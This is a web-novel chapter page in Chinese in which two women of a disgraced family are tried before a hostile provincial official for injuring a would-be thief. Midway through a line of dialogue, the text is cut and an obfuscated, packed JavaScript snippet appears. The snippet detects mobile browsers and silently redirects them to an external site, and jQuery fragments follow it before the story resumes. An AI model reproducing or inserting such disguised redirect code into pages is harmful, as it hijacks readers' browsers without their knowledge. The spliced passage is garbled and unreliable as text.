默认冷灰
24号文字
方正启体

12. 审案

作者:诸葛扇本书字数:K更新时间:
    报完来处,原璎慈没开门。


    那两名衙役立刻开始拍打小门:“开门!”


    原璎慈给了原窈月一个眼神,原窈月转身回到屋内躲起来。


    原璎慈打开门:“两位大哥,请问是什么案子?”


    衙役并没有回答,只是用看罪犯的目光看着原璎慈和她身后的陆珂:“家里只有你们两人?”


    原璎慈:是,只有我们两个大人。“


    衙役:“走吧。”


    衙役态度强硬,原璎慈和陆珂不敢再说什么,只能跟着两人去县衙。


    路上,原璎慈压低声音对陆珂说道:“嫂子,欧阳实甫和我父亲有过节。几年前,我父亲弹劾其错判冤案,他被贬至晖阳任提刑官,因此一直对我原家心存怨恨,咱们去了,凶多吉少,千万要小心应对。”


    陆珂:“我知道了。”


    陆珂垂眸。


    她在陆家,受陆夫人严苛教学,对官员品阶还是有一定了解的。


    本朝的府,州,县约莫就是现代的省市县的划分,提刑是府一级的官员,四品,提点刑狱司主管监察各级刑狱,协同监管转运司。


    晖阳县隶属于晖阳州,晖阳州又隶属于北安府。


    晖阳县太小了,就算她和原璎慈“抛尸”的案子案发了,按理说也不该直接由提点刑狱司过问。


    所以原璎慈就算不说,陆珂也大抵能猜到这里面有个人恩怨。


    “抛尸”时,她和原窈月十分小心,确定周围并没有人路过,又将那男人藏得十分严实,按理说不应该这么快就案发。


    除非……


    有同伙!


    陆珂看向原璎慈,原璎慈也想到这一头了,两个人目光对视,心照不宣。


    ……


    县衙。


    原晔端坐在窗边记录文书。


    窗外,长云弥漫,往远处望去,隐隐约约可见山巅寒雪。


    县衙文书记录工作繁重,文书登记门口队伍一眼望不到头。原晔桌上已经堆了半尺高的纸张。


    这时,一个衙役走了过来:“原先生。”


    原晔笔下不停,“何事?”


    衙役:“晏知县召见。”


    闻言,原晔将手上的这份文书登记完毕,交给等候的百姓,让他去找主簿盖章。这才起身随衙役来到知县晏几道办公的书房。


    晏几道见到原晔,抬手让所有人都下去,这才双手恭敬对原晔行了个礼。


    他二十四五的年纪,穿着知县的官服,长相英俊,却少年老成,眼底无光,就连整齐束起的头发都露了白。


    晏几道说道:“原先生,欧阳提刑来了。”


    原晔并没有坐下,仍然保持着那副垂首恭敬的模样:“晏大人,原某如今是戴罪之身,没有什么依仗。你不必如此客气。”


    晏几道:“是,本官知道了。”


    晏几道立刻恢复官员仪态:“原先生,欧阳提刑来本县巡检,于县衙门口遇人喊冤,亲自审问,得知案子涉及你的夫人和妹妹,已经着人去提了。约莫这会儿已经将人带过来了。”


    原晔问:“是什么案子?”


    晏几道:“据那报案的妇人所说,她和她男人是因偷盗流放至此,已经过了苦刑期,一直无钱搬离荒村。近日,听说你夫人带着嫁妆嫁过来,所以想碰碰运气借些银钱,没想到不仅没借到,人还失踪了。那妇人心里焦急,四处寻找,却在原家不远处的矮山发现了身受重伤的男人。”


    话说得好听,但所谓的借银子,细想就知道怎么回事了。


    原晔躬身道:“事关我夫人和妹妹,请晏大人准我观审。”


    晏几道:“我叫你来,便是此意。”


    晏几道顿了顿,又问道:“岑大人(经略副使)还需多久才能回来?”


    原晔:“昨日夜晚,我已飞鸽传书。快马加鞭,应该黄昏时分能回来。”


    晏几道:“算算时间,案子审一审,差不离。”


    两人说完,晏几道走在前面,原晔落后一步半,低着头跟随在其身后。


    来到公堂,欧阳实甫已经坐在主审位上了。


    陆珂和原璎慈跪在下面。


    晏几道向欧阳实甫行礼,然后落座在副审位上,原晔站在晏几道旁边。


    欧阳实甫手里拿着诉状,漫不经心地瞥了原晔一眼,然后继续看诉状。


    时间一点点地过去。


    陆珂和原璎慈继续跪着,原告邱萍也跪着。


    三个人旁边担架上躺着的,包扎得严严实实的人,正是当初袭击陆珂的人。


    三个人跪的时间都很久了,县衙大堂铺得是硬石板,又凉又硬,因为跪得太久,陆珂感觉自己的腿都麻了。


    诉状就两页纸,看得再慢也早就看完了,但是从晏几道和原晔过来后过了一炷香,欧阳实甫还在看。


    晏几道看了原晔一眼,对欧阳实甫说道:“欧阳大人,这诉状是怎么说的?”


    欧阳实甫慢条斯理地抬起头,将诉状递给县丞,县丞递交给晏几道。


    晏几道只消片刻就看完了,诉状上的供词和他对原晔说的相差无几。


    晏几道问道:“何人原告?”


    邱萍立刻抬头:“知县大人,民妇是原告。那地上躺着便是民妇的男人。”


    晏几道:“你所告为何?”


    邱萍一听晏几道的问话,眼泪汹涌而下:“大人,民妇的丈夫郑刚,曾经因偷盗入刑,如今已经改过自新。只是因为家贫,没有银钱搬离荒村,故而想求助原家,没想到原家人竟然如此恶毒,不肯借银子就罢了,竟然还将民妇的丈夫害得人不人鬼不鬼,请大人为民妇做主。”


    陆珂立刻说道:“大人,冤枉。此妇人说她丈夫郑刚到原家借钱才会遇害,可是民妇和民妇的家人,从未见过郑刚,又如何谋害郑刚?而且……”


    陆珂指着担架上的郑刚说道:“两位大人且看,这郑刚身长七尺有余,人高马大,胳膊比民妇的大腿还粗。民妇的丈夫晨起便到县衙协助官府记录文书,一直未归。家中只有我和璎璎两个成年弱女子,我们两人又如何能害得了郑刚这样的大汉呢?”


    原璎慈也说道:“是啊,县令大人。今日罪女和嫂子早上起来后便去城里当了衣服,买了给家中小猪治病的药,回来后没多久,又去了孙家养猪场买猪。一天下来,忙得脚不沾地,又如何有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598308|171939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时间心力去谋害郑刚?”


    原璎慈面向欧阳实甫:“大人,我和嫂子去养猪场还阴阳差错闹到了县丞大人面前,这一切县丞大人可以为罪女做证。”


    说到这里,原璎慈猛然惊醒,但也只是一瞬,她便立刻低头,掩去了心头震惊,恢复了无辜的模样。


    她低着头,余光能够看到陆珂跪在她旁边的影子。


    这才是陆珂提议去养猪场闹一通的真正原因。


    一开始,陆珂就说过,在这个地方能开养猪场的,肯定是有背景的人。


    在不清楚养猪场深浅的情况下,陆珂还是鼓动她去养猪场闹场,把事情闹大,一是为了谋取一个公道,二就是为了这人证,三么……


    原璎慈刚想到此处,邱萍立刻反驳道:“大人,她们是在从城里回原家后,去养猪场前,谋害的我丈夫。”


    仿佛早预料到邱萍这一问,陆珂立刻开口道:“你说你是久不见你男人回来去找,才发现的你男人。那你又是怎么确定的你男人被害时间?”


    邱萍:“我……”


    晏几道:“还不好好交代!不然本官重刑伺候。”


    “晏大人。”欧阳实甫轻飘飘一个警告的眼神落在了晏几道身上:“何必如此疾言厉色?这邱萍是受害人家属,情绪激动,说错几句话,又或者一时反应不过来,也能理解。”


    邱萍:“是,是,大人说的是。民妇想起来了。”


    邱萍仇恨地瞪向陆珂和原璎慈:“我男人是因为听说原家人去了城里满载而归,想着兴许能借点钱才会前往原家。可是这原家呢!好好的人,你们不借就不借,害人做什么?请提刑大人为民妇做主。”


    陆珂轻蔑一笑,看向欧阳实甫:“欧阳大人,民女不过一介女流之辈,且不说有没有能力谋害一个成年壮汉。就单说,民女这一生从未离开过京都,也就这次因为皇上赐婚才有幸来到晖阳。一个足不出户的女子,一个自小家中有奴仆,连杀鸡都不会的后宅女子。敢问大人,要如何在对一个成年男人下了杀手之后,抛尸山间后,镇定自若地前往养猪场买猪?”


    原璎慈垂眸,掩盖住眼底笑意。


    这就是第三,好一个一箭三雕。


    不,还有四雕,她们还从养猪场低价买进了九头猪。


    原晔低眉顺目地站着,面上淡淡,偶有焦虑,看不出分毫破绽。


    欧阳实甫手中惊堂木狠狠地敲打在岸上:“放肆,公堂之上,岂由你们在这里巧舌如簧,颠倒黑白?”


    原璎慈不服:“敢问欧阳大人,罪女一家之言,究竟哪里不妥?请大人明示。”


    欧阳实甫冷笑一声:“你们二人口口声声说自己没有害人还镇定自若的胆量。刚才衙役将郑刚抬上来,你们二人为何不怕?”


    这话把陆珂和原璎慈都给问到了。


    确实,刚才她们两人跪着,衙役突然将人抬上来,她们虽然一时慌乱,但因为早见过郑刚的惨状,镇定得太快。


    陆珂抿紧了唇。


    百密一疏啊。


    但是,刚才欧阳实甫明显是故意的。故意让衙役从背后悄无声息地将人抬上来,她们一时来不及反应也是正常的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)